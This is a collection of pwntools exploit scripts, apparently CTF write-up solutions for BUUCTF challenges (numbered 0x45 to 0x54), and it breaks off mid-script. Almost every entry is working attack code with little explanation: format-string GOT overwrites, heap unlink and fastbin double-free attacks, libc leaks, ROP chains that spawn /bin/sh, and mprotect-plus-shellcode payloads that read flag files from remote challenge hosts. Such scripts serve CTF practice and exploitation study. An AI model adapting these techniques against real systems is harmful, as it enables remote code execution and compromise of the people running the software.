#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ciscn_2019_sw_1")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_sw_1")
		
	else:
		sh = remote(ip,port)
	main = 0x08048534
	fini = 0x0804979C
	system_plt = 0x080483D0
	offset = 0
	payload = p32(fini + 2) + p32(fini) + p32(elf.got['printf'] + 2) + p32(elf.got['printf'])
	payload += '%.' + str((main >> 16) - 4 - 5 - 8) + 'd%4$hn'
	payload += '%6$hn'
	payload += "%." + str(system_plt % 0x10000 - (main >> 16)) + "d%7$hn"
	payload += "%." + str(main % 0x10000 - (system_plt % 0x10000)) + "d%5$hn"
	log.success("puts_got: " + hex(elf.got['puts']))
	log.success("fini: " + hex(0x0804979C))
	sh.sendline(payload)
	sleep(0.2)
	sh.sendline("/bin/sh\x00")	
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20127,0)

0x45 [中关村2019]one_string

orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
import base64
context.log_level = "debug"
context.arch = "i386"
elf = ELF("pwn")
sh = 0
lib = 0
delay = 0.1
data = ''
data2 = ''
def add(size,content):
    global data
    global data2
    sh.sendline("1")
    data += base64.b64encode("1")
    data2 += "1\n"
    sleep(delay)
    sh.sendline(str(size))
    data += base64.b64encode(str(size))
    data2 += str(size) + "\n"
    sleep(delay)
    sh.sendline(content)
    data += base64.b64encode(content)
    data2 += content + "\n"
    sleep(delay)
def edit(idx,content):
    global data
    global data2
    sh.sendline("3")
    data += base64.b64encode("3")
    data2 += "3\n"
    sleep(delay)
    sh.sendline(str(idx))
    data += base64.b64encode(str(idx))
    data2 += str(idx) + "\n"
    sleep(delay)
    sh.sendline(content)
    data += base64.b64encode(content)
    data2 += content + "\n"
def free(idx):
    global data
    global data2
    sh.sendline("2")
    data2 += "2\n"
    data += base64.b64encode("2")
    sleep(delay)
    sh.sendline(str(idx))
    data2 += str(idx) + "\n"
    data += base64.b64encode(str(idx))
    sleep(delay)
def pwn(ip,port,debug):
    global data
    global data2
    global sh
    global lib
    if(debug == 1):
        sh = process("./pwn_back")
    else:
        sh = remote(ip,port)
    malloc_hook = 0x80EA4D8
    chunk_list = 0x080EBA00
    add(0x80,'\x99'*0x64)
    add(0x80,'\x99'*0x64)
    add(0x80,'\x99'*0x64)
    add(0x84,'\x11'*0x84)
    add(0xf8,'\x22'*0xf8)
    add(0x24,'\x33'*0x24)
    edit(3,'\x44'*0xf6)
    payload = p32(0xdeadbeef) + p32(0x81) + p32(0x080EBA40 + 4*3 - 12) + p32(0x080EBA40 +3*4 - 8)
    payload = payload.ljust(0x80,'\x44') + p32(0x80)
    edit(3,payload)
    free(4)
    open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00000067;push 0x616c662f;mov ebx,esp;int 0x80;"
    read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
    write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
    shellcode = open_shellcode + read_shellcode + write_shellcode
    payload = asm(shellcode)
    edit(3,p32(0x80eba00))
    edit(0,p32(0x500)*6)
    edit(3,p32(0x80EA4D8)*2 + p32(0x80eba60))
    edit(2,payload)
    edit(1,p32(0x80eba60))
    add(0x55,"")
    sh.interactive()
if __name__ == "__main__":
    pwn("node1.buuoj.cn",28948,0)

0x46 bjdctf_2020_babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from PwnContext import *
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'CRITICAL'
remote_ip        = b'127.0.0.1'
remote_port      = 9999
context.terminal = ['tmux', 'splitw', '-h']
binary_file      = './%s' % "bjdctf_2020_babyrop"
remote_libc_file = "libc-2.23_ubuntu16_x64.so"
#cp /tools/libc/ ./libc-2.23_ubuntu16_x64.so
def exploit(sh,remote = False,awd = False):
    if awd:
        context.log_level = b"CRITICAL"
        ctx.binary = './%s' % "bjdctf_2020_babyrop"
        ctx.remote_libc = "libc-2.23_ubuntu16_x64.so"
        #ctx.remote_libc =b'/tools/libc-database-master/db/libc6_2.23-0ubuntu10_amd64.so'
        #ctx.remote_libc =b'/tools/libc/libc-2.23_ubuntu16_x32.so'
    elf = ctx.binary
    if awd or remote:
        lib = ctx.remote_libc
    else:
        lib = ctx.libc
    def debug(gdb_script = ""):
        gdb.attach(sh,gdb_script)
    if context.arch == b"amd64":
        pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
        pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
    elif context.arch == b"i386":
        pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
        pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    offset = 0x28
    payload = offset * "a"
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got['__libc_start_main'])
    payload += p64(elf.plt['puts'])
    payload += p64(elf.symbols['main'])
    sh.sendline(payload)
    __libc_start_main = ru7f()
    libc = __libc_start_main - lib.symbols[b'__libc_start_main']
    lib.address = libc
    system = lib.symbols[b'system']
    binsh = lib.search(b"/bin/sh\x00").next()
    __free_hook = lib.symbols[b'__free_hook']
    __malloc_hook = lib.symbols[b'__malloc_hook']
    __realloc_hook = lib.symbols[b'__realloc_hook']
    one_gadget = []
    offset = 0x28
    payload = offset * "a"
    payload += p64(pop_rdi_ret)
    payload += p64(binsh)
    payload += p64(system)
    sh.sendline(payload)
    if awd == False:
        irt()
if __name__ == b"__main__":
    exploit(remote(remote_ip,remote_port),remote=True)

0x47 bamboobox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from PwnContext import *
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'CRITICAL'
remote_ip        = b'node3.buuoj.cn'
remote_port      = 26956
context.terminal = ['tmux', 'splitw', '-h']
binary_file      = './%s' % "bamboobox"
remote_libc_file = "libc-2.23.so"
#cp /tools/libc/ ./libc-2.23.so
gdb_attach_remote_port = 55667
def exploit(sh,remote = False,awd = False):
    if awd:
        context.log_level = b"CRITICAL"
        ctx.binary = './%s' % "bamboobox"
        ctx.remote_libc = "libc-2.23.so"
        #ctx.remote_libc =b'/tools/libc-database-master/db/libc6_2.23-0ubuntu10_amd64.so'
        #ctx.remote_libc =b'/tools/libc/libc-2.23_ubuntu16_x32.so'
    elf = ctx.binary
    if awd or remote:
        lib = ctx.remote_libc
    else:
        lib = ctx.libc
    def debug(gdb_script = ""):
        gdb.attach(sh,gdb_script)
    if context.arch == b"amd64":
        pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
        pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
    elif context.arch == b"i386":
        pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
        pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(size,content):
        sla(":","2")
        sla(":",str(size))
        sa(":",str(content))
    def show():
        sla(":","1")
    def edit(idx,size,content):
        sla(":","3")
        sla(":",str(idx))
        sla(":",str(size))
        sa(":",content)
    def free(idx):
        sla(":","4")
        sla(":",str(idx))
    chunk_list = 0x6020C8
    add(0x18,'a')
    add(0x18,'a')
    add(0x18,'a')
    add(0x88,'\x11' * 0x87)
    add(0xf8,'\x12' * 0xf7)
    add(0x18,'\x13' * 0x17)
    payload = p64(0) + p64(0x81)
    payload += p64(0x6020f8 - 0x18) + p64(0x6020f8 - 0x10)
    payload = payload.ljust(0x80,'\x00')
    payload += p64(0x80) + p64(0x100)
    edit(3,0x100,payload)
    free(4)

    payload = p64(0x100)
    payload += p64(chunk_list) + p64(0x100)
    payload += p64(elf.got['__libc_start_main']) + p64(0x100)
    edit(3,0x100,payload)
    show()
    __libc_start_main = ru7f()
    libc = __libc_start_main - lib.symbols[b'__libc_start_main']
    lib.address = libc
    system = lib.symbols[b'system']
    binsh = lib.search(b"/bin/sh\x00").next()
    __free_hook = lib.symbols[b'__free_hook']
    __malloc_hook = lib.symbols[b'__malloc_hook']
    __realloc_hook = lib.symbols[b'__realloc_hook']
    one_gadget = []
    payload = p64(lib.symbols['__free_hook']) + p64(0x100)
    payload += p64(binsh) + p64(0x100)
    edit(2,0x100,payload)
    edit(0,0x100,p64(system))
    free(1)
    if awd == False:
        irt()
def CTF_exploit(argv):
    global remote_ip,remote_port,binary_file,remote_libc_file
    argv_len = len(argv)
    context.log_level = b"DEBUG"
    ctx.binary = binary_file
    ctx.remote_libc = remote_libc_file
    ctx.custom_lib_dir = "/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11_amd64/"
    #ctx.debug_remote_libc = True
    if argv_len == 1:
        sh = ctx.start()
        exploit(sh)
        return
    elif argv_len == 2:
        if argv[1] == "remote":
            ctx.debug_remote_libc = False
            
            ctx.remote = (remote_ip,remote_port)
            sh = ctx.start("remote")
            exploit(sh,remote = True)
            return
        elif argv[1] == "local":
            sh = ctx.start()
            exploit(sh)
            return
        elif argv[1] == "awd":
            context.log_level = b"CRITICAL"
            ctx.remote = (remote_ip,remote_port)
            sh = ctx.start("remote")
            exploit(sh,remote = True)
            return
    elif argv_len == 3:
        ctx.remote = (argv[1],int(argv[2],10))
        sh = ctx.start("remote")
        exploit(sh,remote = True)
        return
    else:
        sh = ctx.start()
        exploit(sh)
if __name__ == b"__main__":
    CTF_exploit(sys.argv)

0x48 poke_naxtos_sthack_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("poke_naxtos_sthack_2016")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./poke_naxtos_sthack_2016")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x86_libc.so.6")
	sh.sendline("41")
	sleep(0.2)
	sh.sendline("pik4_p455")
	sleep(0.2)
	offset = 112
	pop_ebp_ret = 0x0804887f
	payload = offset*"a" + p32(elf.plt['puts']) + p32(pop_ebp_ret) + p32(elf.got['__libc_start_main']) + p32(elf.symbols['_start'])
	sleep(0.2)
	sh.sendline(payload)
	sleep(0.2)
	sh.sendline("1")
	sh.recvuntil("Cheat Activated !\n")
	__libc_start_main = u32(sh.recvuntil("\xf7"))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc + lib.symbols['system']
	binsh = libc + lib.search("/bin/sh\x00").next()
	sh.sendline("41")
	sleep(0.2)
	sh.sendline("pik4_p455")
	sleep(0.2)
	payload = offset * "a"
	payload += p32(system) + p32(pop_ebp_ret) + p32(0x080482DB)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20084,0)

0x49 ciscn_2019_final_4

和ciscn_sw_10类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_final_4_back")
sh = 0
lib = 0
def add(size,content):
	sh.sendlineafter(">>","1")
	sh.sendlineafter("?",str(size))
	sh.sendafter("?",content)
def show(idx):
	sh.sendlineafter(">>","3")
	sh.sendlineafter("?",str(idx))
def free(idx):
	sh.sendlineafter(">>","2")
	sh.sendlineafter("?",str(idx))
def inputName(content):
	sh.sendafter("what is your name?",content)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_final_4_back")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	
	inputName(p64(0x61) * (0xff / 8))
	add(0x68,'\x11' * 0x68)
	add(0x68,'\x12' * 0x68)
	payload = '\x13' * 0x50 + p64(0) + p64(0x71)
	add(0x68,payload)	
	add(0x88,'\x14' * 0x88)
	add(0x38,'\x15' * 0x38)
	add(0x38,'\x15' * 0x38)
	add(0x58,'%17$paaaa%54$p')
	free(3)
	show(3)
	main_arena = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 88
	libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	stdout = libc + lib.symbols['_IO_2_1_stdout_']
	printf = libc + lib.symbols['printf']
	free(0)
	free(1)
	free(0)
	show(0)
	heap_base = (u64(sh.recvuntil('\n--------------------',True)[-3:].ljust(8,'\x00')) >> 8) << 8
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	payload = '\x00' * 3
	payload += p64(0) * 6
	payload += p64(0xfbad1800) + p64(0) * 3 + p64(libc + lib.symbols['environ']) + p64(libc + lib.symbols['environ'] + 0x8)
	add(0x68,payload)
	stack_end = u64(sh.recvuntil("--------------------",True)[-8:])
	canary_pos = stack_end - (0x3258 - 0x3158)
	fastbin_attack = stack_end - 0x7fffffffe548 + 0x7fffffffe2e8 - 3
	ret_addr = stack_end - 0x7fffe75e88f8 + 0x7fffe75e86b8
	free(0)
	free(1)
	free(0)
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	payload = '\x00' * 3
	payload += p64(0) * 6
	payload += p64(0xfbad1800) + p64(0) * 3 + p64(canary_pos) + p64(canary_pos + 0x8)
	add(0x68,payload)
	canary = u64(sh.recvuntil("--------------------",True)[-8:])
	pop_rdi_ret = libc + lib.search(asm("pop rdi\nret")).next()
	free(0)
	free(1)
	free(0)
	add(0x68,p64(fastbin_attack))
	add(0x68,p64(fastbin_attack))
	add(0x68,p64(fastbin_attack))
	offset = 16
	payload = '\x00' * 3
	payload += '\x00' * offset
	payload += p64(pop_rdi_ret)
	payload += p64(0)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(ret_addr)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(0x100)
	payload += p64(libc + lib.symbols['read'])
	sleep(0.2)
	add(0x68,payload)
	offset = 0x40 - 0x8
	payload = '\x00' * offset
	payload += p64(pop_rdi_ret)
	payload += p64((elf.bss() >> 12) << 12)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(0x2000)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(7)
	payload += p64(libc + lib.symbols['mprotect'])
	payload += p64(pop_rdi_ret)
	payload += p64(0)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(((elf.bss() >> 12) << 12) + 0x800)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(0x200)
	payload += p64(libc + lib.symbols['read'])
	payload += p64(((elf.bss() >> 12) << 12) + 0x800)
	sleep(0.2)
	sh.send(payload)
	shellcode  = shellcraft.amd64.openat(0,"/flag.txt",0)
	shellcode += shellcraft.amd64.read(3,elf.bss(),0x30)
	shellcode += shellcraft.amd64.write(1,elf.bss(),0x30)
	sleep(0.2)
	sh.send(asm(shellcode))
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20222,0)

0x50 ciscn_2019_s_6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_s_6")
sh = 0
lib = 0
def add(size,name,phone):
	sh.recvuntil("choice:")
	sh.sendline("1")
	sh.recvuntil("Please input the size of compary's name")
	sh.sendline(str(size))
	sh.recvuntil("please input name:")
	sh.send(name)
	sh.recvuntil("please input compary call:")
	sh.send(phone)
def show(idx):
	sh.recvuntil("choice:")
	sh.sendline("2")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def free(idx):
	sh.recvuntil("choice:")
	sh.sendline("3")
	sh.recvuntil("Please input the index:")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_s_6")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	add(0xF0,'a' * 0x80,'\x00' * 0x4 + p64(0x61)) #idx 0
	add(0x58,'b' * 0x58,'\x00' * 0x4 + p64(0x61)) #idx 1
	add(0x58,'c' * 0x58,'\x00' * 0x4 + p64(0x61)) #idx 2
	add(0x68,'d' * 0x68,'\x00' * 4 + p64(0x61))   #idx 3
	add(0x68,'e' * 0x68,'\x00' * 4 + p64(0x61))   #idx 4
	free(0)
	free(1)
	free(2)
	show(0)
	main_arena = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00')) - 88
	libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
	__free_hook = libc + lib.symbols['__free_hook']
	system = libc + lib.symbols['system']
	free(1)
	free(3)
	free(4)
	free(3)
	show(2)
	heap_base = u64(sh.recvuntil("\x0a\x70\x68",True)[-6:].ljust(8,'\x00'))
	heap_base = (heap_base >> 12) << 12
	add(0x58,p64(heap_base + 0xD8),'\x00' * 4 + p64(0x61)) #idx 5
	add(0x58,"/bin/sh\x00",'\x00' * 4 + p64(0x61)) #idx 6
	add(0x58,p64(heap_base + 0xD8),'\x00' * 4 + p64(0x61)) #idx 7
	for i in range(0,3):
		add(0x68,p64(__free_hook - 0x43),'\x00' * 4 + p64(0x61)) #idx 8-10
	payload  = p64(0x21) + p64(heap_base + 0xe8) + p64(0x58) + p64(0) + p64(0x21)
	payload += p64(main_arena + 88) + p64(__free_hook - 0x40 - 0x10)
	add(0x58,payload,'\x00' * 4 + p64(0x61))#idx 11
	payload = '\x00' * 3 + p64(0) * 6 + p64(system)
	add(0x68,payload,'\x00' * 4 + p64(0x61)) #idx 12
	free(6)
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20157,0)

0x51 ciscn_nw_4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_nw_4")
sh = 0
lib = 0
def add(size,content):
	sh.sendlineafter(">>","1")
	sh.sendlineafter("?",str(size))
	sh.sendafter("?",content)
def show(idx):
	sh.sendlineafter(">>","3")
	sh.sendlineafter("?",str(idx))
def free(idx):
	sh.sendlineafter(">>","2")
	sh.sendlineafter("?",str(idx))
def inputName(content):
	sh.sendafter("what is your name?",content)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_nw_4")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	inputName(p64(0x61) * (0x100 / 8))
	add(0x68,'\x11' * 0x68)
	add(0x68,'\x12' * 0x68)
	payload = '\x13' * 0x50 + p64(0) + p64(0x71)
	add(0x68,payload)	
	add(0x88,'\x14' * 0x88)
	add(0x38,'\x15' * 0x38)
	add(0x38,'\x15' * 0x38)
	add(0x58,'%17$paaaa%54$p')
	free(3)
	show(3)
	main_arena = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 88
	libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	stdout = libc + lib.symbols['_IO_2_1_stdout_']
	printf = libc + lib.symbols['printf']
	free(0)
	free(1)
	free(0)
	show(0)
	heap_base = (u64(sh.recvuntil('\n--------------------',True)[-3:].ljust(8,'\x00')) >> 8) << 8
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	payload = '\x00' * 3
	payload += p64(0) * 6
	payload += p64(0xfbad1800) + p64(0) * 3 + p64(libc + lib.symbols['environ']) + p64(libc + lib.symbols['environ'] + 0x8)
	add(0x68,payload)
	stack_end = u64(sh.recvuntil("--------------------",True)[-8:])
	canary_pos = stack_end - (0xe548 - 0xe448)
	fastbin_attack = stack_end - 0x7fffffffe548 + 0x7fffffffe2c5 + 8
	ret_addr = stack_end - 0x7fffe75e88f8 + 0x7fffe75e86b8
	free(0)
	free(1)
	free(0)
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	add(0x68,p64(stdout - 0x43))
	payload = '\x00' * 3
	payload += p64(0) * 6
	payload += p64(0xfbad1800) + p64(0) * 3 + p64(canary_pos) + p64(canary_pos + 0x8)
	add(0x68,payload)
	canary = u64(sh.recvuntil("--------------------",True)[-8:])
	pop_rdi_ret = 0x400d43
	free(0)
	free(1)
	free(0)
	add(0x68,p64(fastbin_attack))
	add(0x68,p64(fastbin_attack))
	add(0x68,p64(fastbin_attack))
	offset = 40
	payload = '\x00' * 3
	payload += '\x00' * offset
	payload += p64(pop_rdi_ret)
	payload += p64(0)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(ret_addr)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(0x100)
	payload += p64(libc + lib.symbols['read'])
	sleep(0.2)
	add(0x68,payload)
	offset = 56
	payload = '\x00' * offset
	payload += p64(pop_rdi_ret)
	payload += p64((elf.bss() >> 12) << 12)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(0x2000)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(7)
	payload += p64(libc + lib.symbols['mprotect'])
	payload += p64(pop_rdi_ret)
	payload += p64(0)
	payload += p64(libc + lib.search(asm("pop rsi\nret")).next())
	payload += p64(((elf.bss() >> 12) << 12) + 0x800)
	payload += p64(libc + lib.search(asm("pop rdx\nret")).next())
	payload += p64(0x100)
	payload += p64(libc + lib.symbols['read'])
	payload += p64(((elf.bss() >> 12) << 12) + 0x800)
	sleep(0.2)
	sh.send(payload)
	shellcode  = shellcraft.amd64.open("./flag.txt")
	shellcode += shellcraft.amd64.read(3,elf.bss(),0x30)
	shellcode += shellcraft.amd64.write(1,elf.bss(),0x30)
	sleep(0.2)
	sh.send(asm(shellcode))
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20149,0)

0x52 [第五空间2019 决赛]PWN5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("pwn")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./pwn")
	else:
		sh = remote(ip,port)
	sh.sendlineafter(":",p32(0x0804C044) + "%10$n")
	sh.sendlineafter("passwd","4")
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28856,0)

0x53 [ZJCTF 2019]EasyHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easyheap")
sh = 0
lib = 0
def edit(idx,size,content):
	sh.sendlineafter("Your choice :","2")
	sh.sendlineafter(":",str(idx))
	sh.sendlineafter(":",str(size))
	sh.sendafter(":",content)
def add(size,content):
	sh.sendlineafter("Your choice :","1")
	sh.sendlineafter(":",str(size))
	sh.sendlineafter(":",content)
def free(idx):
	sh.sendlineafter("Your choice :","3")
	sh.sendlineafter(":",str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./easyheap")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	add(0x68,'')
	add(0x68,'')
	add(0x68,'')
	free(2)
	payload = '/bin/sh\x00'
	payload = payload.ljust(0x68,'a')
	payload += p64(0x71) + p64(0x6020ad)
	edit(1,0x200,payload)
	add(0x68,'')
	add(0x68,'')
	payload = '\xaa' * 3 + p64(0) * 4 + p64(elf.got['free'])
	edit(3,len(payload) + 0x100,payload)
	edit(0,9,p64(elf.plt['system']))
	free(1)
	sh.interactive()
if __name__ == "__main__":
	pwn("127.0.0.1",9999,1)

0x54 [ZJCTF 2019]login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("login")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./login")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	payload = "admin\x00"
	sh.sendlineafter(":",payload)
	sh.recvuntil(":")
	payload = "2jctf_pa5sw0rd\x00"
